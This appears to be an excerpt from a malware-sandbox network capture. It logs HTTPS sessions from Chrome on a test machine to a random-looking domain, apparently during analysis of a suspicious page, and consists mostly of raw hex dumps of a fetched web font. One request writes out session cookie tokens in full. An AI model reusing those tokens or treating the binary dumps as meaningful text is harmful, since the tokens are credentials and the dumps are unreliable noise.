2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 13 01 e9 44 ae 3d cb 5b 69 7e db 22 51 70 ef 63 32 39 e9 64 71 a7 b5 30 b6 01 15 1a 29 e2 db ce 53 01 4b 24 89 db 11 9c 91 10 7d 9c ef d5 0f e1 38 11 2a 9e 08 b1 c6 95 68 36 08 c4 a8 a2 b4 98 b5 21 8e 45 d0 71 24 18 a7 83 42 25 37 a3 0f 52 82 02 89 71 3b a6 33 e3 76 a8 96 c5 96 00 31 78 04 a8 30 14 19 d5 19 35 da 35 a1 cc 49 64 7a 77 af a4 2d 6a 48 d5 f9 10 15 85 2c 13 a3 9e f6 44 fc 18 de 56 cd 85 7c a5 47 ac 97 c9 a3 b9 57 e1 c4 0a 96 52 70 14 1b 9d cf 6b 27 9f a5 fa bd 08 79 02 2c 96 02 20 16 9d 4d 88 68 fb d6 4a 21 21 6d b6 8c 58 80 8a 4a bd a3 a3 79 25 a6 aa 2e 1a 3d c6 77 60 74 91 90 6a 2a 81 e2 98 32 ad 42 a4 cf 75 c9 16 1c 25 3d 79 6f 32 9f 8e cf 45 7e e6 05 e8 4e 24 f2 4f 2c 8e ab 2d 9c 9c 76 49 bb eb d8 5e de eb 78 af d8 0e f9 43 a9 e0 48 ac ab Data Ascii: D=[i~"Qpc29dq0)SK$}8h6!Eq$B%7Rq;3v1x055Idzw-jH,DV\|GWRpk'y, MhJ!!mXJy%.=w`tj2Bu%=yo2E~N$O,-vI^xCH
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: a5 86 5b 4a 69 0c d1 e1 b8 20 fc 23 8b 97 28 3f 36 3d bc 0d d8 3d 52 72 fe 9d 98 df f6 99 86 c4 bc 22 f8 09 5a 28 e5 b7 77 89 61 b7 36 f9 53 75 68 4b 1e a3 d9 26 75 d4 2c cc 9b ab c9 a0 c4 be a0 65 70 6a fc 71 23 f4 aa f8 fc 97 90 31 c6 86 3b 8d 2e bf 22 ac c8 63 a8 a4 64 cd 76 00 e5 20 65 ff cf 30 3f a6 13 d2 e5 62 0b a4 27 2d 7d 39 cc f0 e0 9e 1d af b5 ec 6f 86 84 31 96 bb 8e 91 1f de f5 79 ed 91 b4 46 3e b6 fa d8 67 65 be e3 e4 c7 96 8c a1 bb 91 79 70 21 64 5b 43 4a bb 5f ce 7f 6a 9e e2 6c 74 bd 98 84 44 03 65 56 43 e1 02 9a f1 01 c9 b2 0e 5a 9a 74 1e 19 d7 2d 04 6b 89 4f 3e 7f eb 62 e6 73 66 69 2d cd a3 e6 3f 27 75 aa 1d f4 11 10 73 fc 42 d2 5a c5 86 43 23 db 5e 68 e7 7a 4b d7 dd 63 72 dd 6d 59 de 57 ba ed 90 63 7c a6 8b 45 e2 fa ee ae 6f c3 10 c6 8a Data Ascii: [Ji #(?6==Rr"Z(wa6SuhK&u,epjq#1;."cdv e0?b'-}9o1yF>geyp!d[CJ_jltDeVCZt-kO>bsfi-?'usBZC#^hzKcrmYWc\|Eo
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: c3 25 0b 9d f2 4a e9 03 fe a9 a9 bb 81 48 18 fa 58 6c d7 68 8e c9 73 ff 93 f3 ea 71 72 7c d4 67 35 e2 25 58 ad 9b 53 bb 0e 1a 84 1a b8 82 5e 74 f8 f1 ff 58 67 54 9d 62 90 e9 68 f1 c4 58 64 f4 a7 11 7b 4a 5a 49 91 3e 4e c4 a0 f3 c2 16 05 ca 58 f5 2f 67 94 92 df bd d2 cb da 8d 4e 2f c9 b6 83 3e 5b 35 3d f8 fc e3 65 9c 37 d6 d2 a2 c6 49 f6 ae d8 e1 89 37 ae 63 7d 3f 6f 70 d7 3f 3b 22 5b 75 e5 01 5e 3b bd 02 7a e2 ad bd 31 24 3b ab 34 eb 3d 4b b2 d1 8a eb d4 09 e1 09 bc 2e 7f c6 88 31 51 e6 fa 1c 6a c5 06 7d 66 4a f0 e0 eb c6 48 eb a6 3e de c9 7a 7d 78 4b d7 98 bd e2 c3 08 cd f3 88 6d ff fa 2e f6 41 89 df d6 d2 4a ff 7b f6 01 aa 12 65 af e8 2b 9c 2a 6b b9 21 bb 8c e8 e3 a7 1f ef 6f bf d7 f8 0b 47 b0 c3 71 a6 2e 6c 7f 81 ee 98 c2 d1 a6 7a dd 76 dd d1 70 c9 bf Data Ascii: %JHXlhsqr\|g5%XS^tXgTbhXd{JZI>NX/gN/>[5=e7I7c}?op?;"[u^;z1$;4=K.1Qj}fJH>z}xKm.AJ{e+*k!oGq.lzvp
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 17 36 9d d7 1b 32 2a 11 0d 58 a9 2e 71 1b 1f 61 c5 f5 94 ef d3 73 ea 88 7e fb b9 e6 e1 b6 70 c5 34 0a fa 3b 86 fc cc ba 3c 05 7c 34 ea 88 f5 a3 a2 c0 20 35 13 6c 15 e6 41 b8 3e b6 11 22 ac 69 58 6e 3e 6f 9f 28 7b a8 5f 8d bd 76 d8 eb 29 93 79 48 c9 a3 99 6f 6d 06 7f 5d 9e f1 6c 7c 55 3b 55 c9 af 3f cf 18 45 2c 1f 72 44 e3 8e 81 85 63 86 d5 6b ad b7 62 ee 7b 30 a5 df b6 73 24 1a c7 c1 b3 0d fe d9 73 ef 8f c3 b0 9d 51 f5 d7 70 ba 54 f4 24 dd 1a 73 5e 9d 9c 39 5d 1e 8c 82 fe 2c 1f ac a6 0c ba fc c5 27 14 94 19 0f 5f 43 a0 42 02 67 1f be 85 af e9 f8 fc a5 c4 0d b4 f6 ff a2 a2 95 1c ec dd 96 1c e3 1d 16 52 27 61 e2 78 29 ad 1d 7e c2 7e d3 02 91 a1 b6 1e d4 a0 32 62 5d 05 eb 60 2f a3 ce 28 2a e3 76 d1 e6 94 8a 9e 84 ca d4 81 95 59 f2 d3 14 a9 29 ba 67 d3 7a 42 Data Ascii: 62X.qas~p4;<\|4 5lA>"iXn>o({_v)yHom]l\|U;U?E,rDckb{0s$sQpT$s^9],'_CBgR'ax)~~2b]`/(vY)gzB
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 28 d4 a6 32 9a 40 88 66 46 b8 5f 12 ff ff f1 87 04 f0 10 a2 2a 99 3a 19 38 85 1e 76 b6 ca 97 a4 50 a1 74 c5 4a 64 28 d7 28 4b 8b 76 a5 ba f4 a8 34 64 58 ad 57 5e a9 37 61 5a 83 05 0b b0 56 ec 6a b1 ef 8d 6e 47 be ea 77 69 c1 73 7e 5b 36 e1 26 c8 81 08 6c e7 58 14 76 72 2e 2a 52 87 d1 0a 77 14 a7 68 9f bb 2f d5 97 1e 6b e9 a2 36 6d fd ae 5d 6f 7f 1a b0 82 9f bb 29 b7 d4 fd 91 ac f6 10 55 d6 d9 81 2f c0 08 b1 30 af 61 14 e9 1d cc 52 bc 9b 4d aa f7 6a 94 66 cc 30 31 cf 58 e7 eb 7d 07 9e e7 07 f4 ff dd 72 11 79 f7 17 5f 34 4c 30 6f 52 00 13 2c 5d 6a a1 96 01 ec 65 65 8c c9 a0 60 fb 80 e3 33 a2 57 29 00 94 cf 1c 2c af 0c ea d6 9e 38 04 86 2f cf 6a 38 67 ad fd e2 eb f5 49 f1 24 1f c0 fb 3c e2 91 ad 41 0a dd d8 dc da de ed 78 67 77 6f ff 60 6d 3b 3c b2 37 0b d6 Data Ascii: (2@fF_:8vPtJd((Kv4dXW^7aZVjnGwis~[6&lXvr.Rwh/k6m]o)U/0aRMjf01X}ry_4L0oR,]jee`3W),8/j8gI$<Axgwo`m;<7
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 47 91 d7 a4 a8 59 49 85 cd e8 3b 74 ea d2 ad 47 af 01 83 2a 50 d0 30 b0 86 e7 e1 2b 22 33 b7 92 8a 9a 86 56 b1 9b 6b ab d7 c0 f1 42 d4 c9 4c 7c 57 eb 35 6a d6 a2 4d 87 17 ba 74 eb d5 6f f0 25 a9 7f fd e7 cc 5b b0 68 c9 b2 15 ab d6 ac db b4 65 db 8e 5d 7b f6 1f 5c 46 ee 05 c1 f8 3a a8 e2 f4 ae 1d 96 85 be 31 95 e5 ba 29 b3 5a 43 66 ac 5d ff 03 0f b1 75 01 fc b2 4f 81 3a f6 64 4f 47 bb 09 e2 3c 29 42 ad e2 3e 22 4d c4 96 88 6b 74 7e fd 64 e0 75 81 12 2b 3a af dd 10 60 9b 79 6f a0 89 16 44 eb 3a 5f 22 ef c0 43 4c be cd 4a 39 0e c7 e5 59 da 0b 4e c2 cb e5 0c c1 50 23 94 b7 f3 4e de 25 4a c6 14 ad b2 60 08 6e 56 39 dc aa d3 6a 2d 0f 41 b9 5a df dc ee da de da be da fe 15 9d 13 bc 46 63 60 98 0d 8b 15 9c 87 cd 92 34 67 eb 36 27 78 65 b2 4c 56 6b 35 cf d3 9b ce Data Ascii: GYI;tG*P0+"3VkBL\|W5jMto%[he]{\F:1)ZCf]uO:dOG<)B>"Mkt~du+:`yoD:_"CLJ9YNP#N%J`nV9j-AZFc`4g6'xeLVk5
2024-04-23 19:54:08 UTC	474	IN	Data Raw: 54 95 c8 98 28 93 32 63 a4 7d 4c 7f a8 5d 3c fc e6 0b 52 65 a8 96 ad 58 0e 9c 5d eb b6 6c 47 61 61 c3 76 2e 25 66 40 87 ee 2b 77 72 0b b9 36 71 8f ab 5f 1d 5b f5 cc bb 91 f0 45 30 3e 81 94 2f a3 d2 8e 56 37 3a 3d a8 75 61 30 8d d1 0c 4e 07 58 6c 60 b7 83 db 11 56 9b 78 3d f6 4d 93 ef f2 ae 35 07 29 06 c0 76 69 21 92 12 8b a1 27 35 49 2b 44 12 93 cf 48 71 b0 40 ca 43 53 1d 9e ca b0 90 23 52 1b 9b e6 94 b4 a7 a7 35 4d 21 2e 87 4c c3 aa 9a 97 c9 d2 f4 17 66 95 1f bf 28 5e 61 c2 ca 24 35 89 ab 13 55 a5 5c 9f 62 5d f2 f6 6c 6f 17 b8 23 ef de 82 df 2a 60 7b 41 6f 16 f1 7e 31 ad 15 2b a1 9d 92 db 2f b1 dd 08 f8 24 f1 58 b6 cd cf a7 2f 72 be 06 8f cf 43 45 27 ad 4d b5 a1 b3 3a 34 5b ca 51 91 0f 59 c2 86 19 45 7e 58 f8 7b 3d fb a0 a4 f6 ba ef b4 4e 2f bc d4 55 5c Data Ascii: T(2c}L]<ReX]lGaav.%f@+wr6q_[E0>/V7:=ua0NXl`Vx=M5)vi!'5I+DHq@CS#R5M!.Lf(^a$5U\b]lo#*`{Ao~1+/$X/rCE'M:4[QYE~X{=N/U\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49777	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:07 UTC	1452	OUT	GET /efhiWlN0k9o3QYTD34NIiKf6YeHKyzkl100 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o5u7g.zleu9.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:08 UTC	634	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:08 GMT Content-Type: font/woff2 Content-Length: 93276 Connection: close Content-Disposition: inline; filename="efhiWlN0k9o3QYTD34NIiKf6YeHKyzkl100" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MuPuYG3JnHTuAocye23VH7JHCPi7YX5F%2B5b2mZuLFsvM%2FgCS9suTcXiUfE5jB0woHe89H2ebvpjc9jmHyCCg6SWX%2BvFKqqnte6dX1xr1%2BO6TjwV%2F1dbC1PfbFhdGaw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87906757bff544de-ATL
2024-04-23 19:54:08 UTC	735	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 6c 5c 00 14 00 00 00 04 b2 20 00 01 6b e0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a a4 76 1b 83 bb 26 1c 93 24 3f 48 56 41 52 a0 6a 3f 4d 56 41 52 81 46 06 60 3f 53 54 41 54 81 36 27 38 00 91 18 2f 81 48 11 08 0a 81 f8 0c 81 d3 78 0b 89 1a 00 30 8b e7 3a 01 36 02 24 03 92 30 04 20 05 97 7a 07 a2 17 5b 12 9a 94 07 25 22 db df 13 ba a5 ab c1 a5 a2 a8 fe 21 df bb 49 da 54 19 b0 7f a9 77 90 21 63 9b 48 1d ce cd 74 1d 5d 6b a5 08 9e a7 0f c8 36 9d f1 82 43 79 c3 a8 7f 55 6c b7 72 65 ff ff ff ff ff ff 9b 92 49 8c e9 25 e8 25 f9 7f 00 15 44 45 b1 a0 ba ce 76 d3 69 ae 51 46 38 dc dd 84 83 d2 69 48 19 21 72 0a ca e2 f4 da d1 50 34 5a 5b b9 db ae 1d f6 5a 73 10 9e 89 b6 6f 06 0e 72 ef e2 38 62 1c 4f e8 Data Ascii: wOF2l\ kv&$?HVARj?MVARF`?STAT6'8/Hx0:6$0 z[%"!ITw!cHt]k6CyUlreI%%DEviQF8iH!rP4Z[Zsor8bO
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: b9 49 10 0f f1 f9 f3 34 67 bd 3f f3 47 f2 33 13 26 d3 99 30 4c 26 e9 24 85 40 52 36 bb a5 e2 88 55 8c 15 6f 9d dd 3a ed 9a 53 a7 3d 0a d4 1c b3 db 62 55 0b a1 75 ca 5d 7a ac 57 38 5b 55 18 7c 37 fb 27 fe 25 e6 f2 75 2e 9c 88 31 31 8e 19 67 3c c6 ba 5e c7 a0 eb fa 4a c9 da 50 42 1b 4a 48 42 02 11 f0 6b fa b3 0f 0e 89 0a 91 8a 5d c4 80 28 24 a5 0d 44 ae 16 ab 53 22 75 be b7 ce 37 e2 fc ab 39 9f 38 15 a3 ee d4 9c 1a 55 a3 e6 37 13 d4 a6 ed 52 24 04 df 78 a9 f9 ac 67 d0 58 9b 7a 56 81 2c a8 24 a5 19 ab 89 79 c6 3a 8e 8d 8a 88 86 51 24 4f 4d c7 b1 f6 b7 9f 71 cc e7 20 a3 88 08 28 df 96 4f e5 14 c4 00 22 12 64 3c 07 6c c8 ed 39 a9 fd 7c 5e 42 08 72 b6 35 8f d0 c3 f3 a7 fd cc b9 79 69 bb 44 99 0f b9 5f 84 16 09 3c 50 9b f9 6f 92 11 08 a9 28 52 65 ab 49 eb 90 c9 Data Ascii: I4g?G3&0L&$@R6Uo:S=bUu]zW8[U\|7'%u.11g<^JPBJHBk]($DS"u798U7R$xgXzV,$y:Q$OMq (O"d<l9\|^Br5yiD_<Po(ReI
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 22 97 8e 0c 63 96 10 1c 40 42 44 dd f4 16 cf 30 00 2b fb 79 0b 30 ab c4 72 0d 2d 40 8d fe 19 13 b5 2f 74 e2 3e 24 50 23 ab dc 2a 66 4d 64 c4 fc ff 2f 53 ab 6d 24 50 26 09 49 5d 09 75 9d 3e c1 ea 31 1f d2 98 cf 56 cd 54 a8 74 6a 7f 21 1b e3 9c 0f 44 44 22 1d 29 45 26 48 55 24 92 52 07 92 54 55 20 21 75 7d 24 c8 3a 01 40 86 24 32 00 8a cd 24 e5 2d 59 9e 72 a6 cc 4b 24 d5 13 80 aa 7a 82 60 1b 94 34 ce 2d 67 b1 1c ca 96 d5 9c 33 32 e3 a4 1a e3 36 db 24 c7 b1 8d db a9 6a 45 cd 8a 9a 55 8a e3 a8 9a fd 86 aa 55 d5 ac d4 1a bf 33 7e d7 67 f8 e7 6d 4f ce f6 e5 66 e3 7f 46 56 c8 0a 61 36 e5 a3 4e 26 1e 46 a2 08 72 83 40 08 87 47 e1 7f 99 5a a6 68 7c 99 6e 6c d2 0f 2b 33 dc e8 4e 91 71 44 5d 90 6c 29 8d ba 7f af 41 f7 5b 43 0e ce 0d 46 16 90 e1 0e ce 11 23 c7 5d f9 Data Ascii: "c@BD0+y0r-@/t>$P#*fMd/Sm$P&I]u>1VTtj!DD")E&HU$RTU !u}$:@$2$-YrK$z`4-g326$jEUU3~gmOfFVa6N&Fr@GZh\|nl+3NqD]l)A[CF#]
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 34 35 e1 43 b4 b6 e2 5b 28 0a 7e 3f b8 60 01 41 a5 a2 9d 5f aa aa 92 e7 97 9e 00 03 7a 83 f2 df f4 f1 96 7c fe b4 e4 ea d5 9a f9 6c b0 ba 4a 10 6f b7 59 2c ed 74 74 e4 f7 a7 d3 2b 96 40 40 51 66 f5 e7 a0 33 8f 73 f2 d6 c3 e5 9d c3 71 fc 46 72 66 3c 24 2e ce 60 06 3a c8 29 d6 a8 8f 62 ff a8 a5 b5 cd eb 44 76 4b 25 94 fc d0 62 76 e3 42 5d fd 97 64 4c 8b a5 52 6f f8 db 8f 00 94 fc c8 46 5c bd 1c c3 40 2b d1 7a 43 c4 ad 17 b2 b7 ee 9b 4d 09 0d f9 6d 07 99 10 1d 47 e6 96 3a 20 3d bc 3a 0d 3e bf 95 84 ea 25 93 ae 69 08 6c df 80 35 2a 08 70 c7 de 92 9c 79 e0 1a 17 e6 d0 2b 30 1e 2f 83 0e c7 e9 73 30 77 e7 e6 02 22 bb d8 06 99 5b ee 22 53 80 20 c8 6e 2c 06 05 26 12 28 14 52 ba 16 12 3d a2 47 3f 10 f5 06 a5 24 4d 82 75 e6 ad 90 27 62 69 e9 36 4c 84 88 93 25 f6 f6 Data Ascii: 45C[(~?`A_z\|lJoY,tt+@@Qf3sqFrf<$.`:)bDvK%bvB]dLRoF\@+zCMmG: =:>%il5*py+0/s0w"["S n,&(R=G?$Mu'bi6L%
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 12 f3 54 e7 d6 9d 2d b4 a6 93 cf 99 1f a7 dd 6e 68 53 44 dd 65 65 89 d1 c0 a3 92 64 cc 31 18 63 26 13 31 4e cf 58 79 53 b2 2e db 9a 28 b6 9b 3c a6 00 5c 5e 11 8b 83 4b be 05 32 16 f2 27 f7 9c df b0 9c 1c 87 3a fa 62 03 4e 5f dc 30 32 d9 0e 2d 29 bb 39 86 5a ea 25 1c f9 80 80 d3 b0 59 47 03 e1 38 0e 99 e4 42 e4 67 ce e4 d4 da 88 c7 03 50 4c 29 22 8c 02 70 3a 8b 8a 3b 0f 04 48 26 b5 d1 e4 52 e7 01 3b 4a af d0 d3 a7 68 fe d1 72 c3 4a 60 ba 24 bf 8f 51 eb 11 25 b1 c6 4b 41 a6 d8 73 32 1b 16 4b c4 62 8e e3 36 ec 6e b3 cd 37 b4 0e 4b 95 68 ab 33 1a 0d ac 6a 2b cd a4 45 22 f2 62 82 62 42 1d c3 cc f9 59 5f 50 eb 07 b4 8a da 4d aa 17 47 d3 fa a5 80 8d 11 25 a5 a5 8e 5b 88 5c b9 82 21 5e 88 6c 18 63 03 d6 93 18 f3 cb 40 59 d9 d2 20 37 88 18 e8 62 0c ab b3 f8 99 33 Data Ascii: T-nhSDeed1c&1NXyS.(<\^K2':bN_02-)9Z%YG8BgPL)"p:;H&R;JhrJ`$Q%KAs2Kb6n7Kh3j+E"bbBY_PMG%[\!^lc@Y 7b3
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 7e 41 9f 82 2c b7 fc 55 50 9b 51 70 75 a8 cf 20 94 27 85 0a 16 c2 d5 50 55 97 db 1a cc e4 ea f8 bf 7f 82 9d cf b0 bf bf a8 d2 cf 05 72 5b e8 50 23 0f 23 4b 61 90 94 da f0 4d c9 51 9e 26 0a ec ec ab 69 b4 bd c3 2f 0a f0 74 03 f6 16 2e 59 39 12 0b bc 0c 0d 75 a9 8f 01 48 d7 04 85 96 d2 ab 02 9b de 6d db bd 90 bc 86 ef 83 5a 63 5b 32 e2 71 f8 6e c1 87 75 a9 ee 4c f7 99 27 02 3c 78 27 d8 98 de f7 56 7f 6e f1 fc aa 81 eb 24 c5 fb 60 e0 b0 f2 f0 af dd 25 60 5f 6c d7 6b c0 60 ea 09 fc a1 7e ef 21 d2 65 be 87 84 64 f1 c8 69 fa 9c 49 2f cf 79 79 88 42 e1 4d be 7d 02 60 bf 63 b8 ea ea 63 24 2b 5c 48 cf ca 79 d8 58 89 bd 6f 81 38 cf 87 07 47 13 25 b0 2d d0 2c 71 94 b6 07 95 04 aa e5 65 bc fd e1 eb 93 81 1b a5 d7 ee 19 35 2a 5a aa 17 d4 e1 0e 65 4b 21 2d a7 bf d7 25 Data Ascii: ~A,UPQpu 'PUr[P##KaMQ&i/t.Y9uHmZc[2qnuL'<x'Vn$`%`_lk`~!ediI/yyBM}`cc$+\HyXo8G%-,qe5*ZeK!-%
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 64 13 9a 90 a7 8b 89 35 60 8b 3c b7 b7 76 cf d3 be da d0 82 50 1b dc 81 52 9f 2b 78 b5 85 1a db 2f 23 11 ee 7e 0f 9c d7 f5 b8 cb 06 d1 4f 79 55 8a 13 9b 6a a8 95 46 95 37 af 7b 7d 90 cb 24 1d 9e 26 31 5b 76 a7 8e 76 62 74 7b e0 dc a7 f1 6e 9f 45 d5 21 b2 23 85 2c cb e7 31 09 a3 7a 4c d0 45 20 b1 44 fe 05 66 c7 02 03 dc df d5 bb 25 f4 ec 02 f0 c1 23 0b fa 7f ae 9b 73 07 7b 16 f5 36 ec ec 00 db ec 7f d4 4b 78 3e 73 73 9f 0a ae ec e5 80 c4 cf 0a 3d 62 99 08 c1 b2 7d c7 70 b5 8c c7 69 52 40 79 3c 9f b9 99 d4 52 6e df 0a 35 b9 f0 ac 83 b5 6c 74 9e b8 70 fd 1d b6 ee 75 41 04 b5 ad 5c 10 e6 ad df 53 fe 59 1e 0a 54 02 09 f8 5e ab e5 8c c5 72 4c 47 c6 3b 62 55 95 51 f0 eb 4f 75 3e 57 a6 36 98 bc fe b1 bc ff 61 18 a2 79 e6 01 b9 02 66 9e 81 b8 b7 6b 51 78 30 95 72 Data Ascii: d5`<vPR+x/#~OyUjF7{}$&1[vvbt{nE!#,1zLE Df%#s{6Kx>ss=b}piR@y<Rn5ltpuA\SYT^rLG;bUQOu>W6ayfkQx0r
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: e3 55 62 10 69 58 16 18 ff 45 1e a2 6d 55 84 60 bb 94 83 f1 a5 aa 10 eb 80 6a 04 ba dd 16 24 bb cb 76 94 bb db 0e 54 fa b4 dd 28 f7 19 9d a8 f4 59 7b 91 ec f3 f6 a1 d0 17 ec 47 b1 2f ea 42 a1 2f 39 80 62 df 74 12 bc df 77 06 bc 3f 73 01 b9 7e ee 71 e4 fb bb 2d ec ef 7f d2 19 f5 41 7b 18 ef 31 87 58 ef 21 27 d1 79 d4 69 74 9e 74 8d 23 23 9b 2c 50 b6 a6 80 27 3b 52 c2 93 d9 40 c0 e7 aa a0 90 01 f3 29 68 ec d8 71 e2 04 83 80 00 e3 c2 05 82 1b 37 71 1e 3c 50 15 2c 96 c1 03 90 05 75 49 6e 2d 19 e1 95 12 4e d0 eb 09 a1 25 6a 42 ad 00 59 26 63 cf 71 3e 9d 2c 30 95 67 c9 12 c6 10 a1 01 97 41 48 16 7e 72 c0 e5 e1 a3 00 5c 91 be b5 13 b4 60 8d 50 60 16 62 8c 23 2c 93 87 41 a6 b8 c0 32 1b d9 cc f1 84 5d ca eb c5 8d 70 d0 ac bc 4b 85 93 72 39 40 ae f8 bc 94 2b 97 55 Data Ascii: UbiXEmU`j$vT(Y{G/B/9btw?s~q-A{1X!'yitt##,P';R@)hq7q<P,uIn-N%jBY&cq>,0gAH~r\`P`b#,A2]pKr9@+U
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: aa 3c 41 79 a5 b8 da 6d 00 aa 75 3c 04 9b 2b 02 72 61 45 50 0c 27 48 8a 66 58 8e 17 c4 72 ff 0a aa a6 1b a6 65 03 00 88 b0 24 13 ca b8 50 54 ad 3e b1 db 03 04 84 eb 88 80 62 38 41 52 34 c3 72 bc 20 96 b6 51 46 51 6b 9b a9 63 98 56 a3 e2 13 15 c2 04 21 e9 30 60 05 83 86 c4 8f e9 a0 a9 ff f0 17 a0 b7 17 e7 07 65 da fd 98 7e d8 04 c0 0d b5 75 78 ca 39 2a af 15 ac 6d 98 37 9c 46 60 a4 51 46 1b 63 ac 64 29 52 a5 49 97 21 53 56 45 1d 2a 36 25 95 a2 4c b9 8a 2a 47 ac 4a 54 ab 51 5b dd e8 d5 a3 41 e3 73 28 bc 75 10 b4 db 41 a5 28 53 8e 1e d2 f3 3a cc bc 1d 7c fc 10 25 da bd f2 fc a6 e8 16 82 4b 39 b0 71 4d 28 28 c1 54 d4 34 0d d5 a6 e7 9b d7 02 78 db f5 6f 2c 5c 2e 36 76 cf fe a6 f4 a5 10 31 09 09 d0 9e 36 f0 1f 3e 12 3b 49 4b 4b 4b 4b 4b bf cf 6e e5 eb f8 ee 58 Data Ascii: <Aymu<+raEP'HfXre$PT>b8AR4r QFQkcV!0`e~ux9m7F`QFcd)RI!SVE6%L*GJTQ[As(uA(S:\|%K9qM((T4xo,\.6v16>;IKKKKKnX
2024-04-23 19:54:08 UTC	1369	IN	Data Raw: 84 48 51 a2 c5 d8 27 43 26 02 22 92 13 20 64 14 59 b2 e5 a0 3a 99 67 82 e6 ee 72 cf 1d 66 c7 a3 2c 1a da 79 0f 13 14 29 92 e2 71 c9 44 e4 e7 84 a0 c2 9f f7 0e ba a8 11 61 68 5f fa 1d ff f6 b8 d7 09 45 9d f7 18 61 a2 cf d1 a7 76 8f 13 7e b0 51 c5 d3 5b 09 40 57 2c 6f 6b b6 61 22 ea 37 fd 68 16 80 a1 c0 35 c2 0c d2 3a 85 ef 21 50 78 14 9f 15 27 6e bd a6 4d 6a 70 82 bc 56 5c ed c3 07 4f fc db 7e b8 f3 ce 26 a0 dc bc 05 0a 43 71 81 c0 11 41 31 9c 20 29 9a 61 39 5e 10 3b a3 77 e9 b5 a7 54 3d eb 39 f8 84 11 13 21 91 29 54 1a 9d c1 64 b1 39 5c 5e fe 82 0a 00 c0 d0 b2 c2 20 28 56 b8 c4 22 c4 92 8f 4b c4 db e9 d5 16 77 f3 73 34 90 cb 61 6b a5 67 b8 d1 63 dc 12 db 49 a1 78 8f 3a 70 56 78 9c f7 22 15 6d 55 d4 d2 cd 70 8f 4e b6 dd 48 9f a8 82 3e b4 c1 8c 26 b3 25 20 Data Ascii: HQ'C&" dY:grf,y)qDah_Eav~Q[@W,oka"7h5:!Px'nMjpV\O~&CqA1 )a9^;wT=9!)Td9\^ (V"Kws4akgcIx:pVx"mUpNH>&%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49778	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
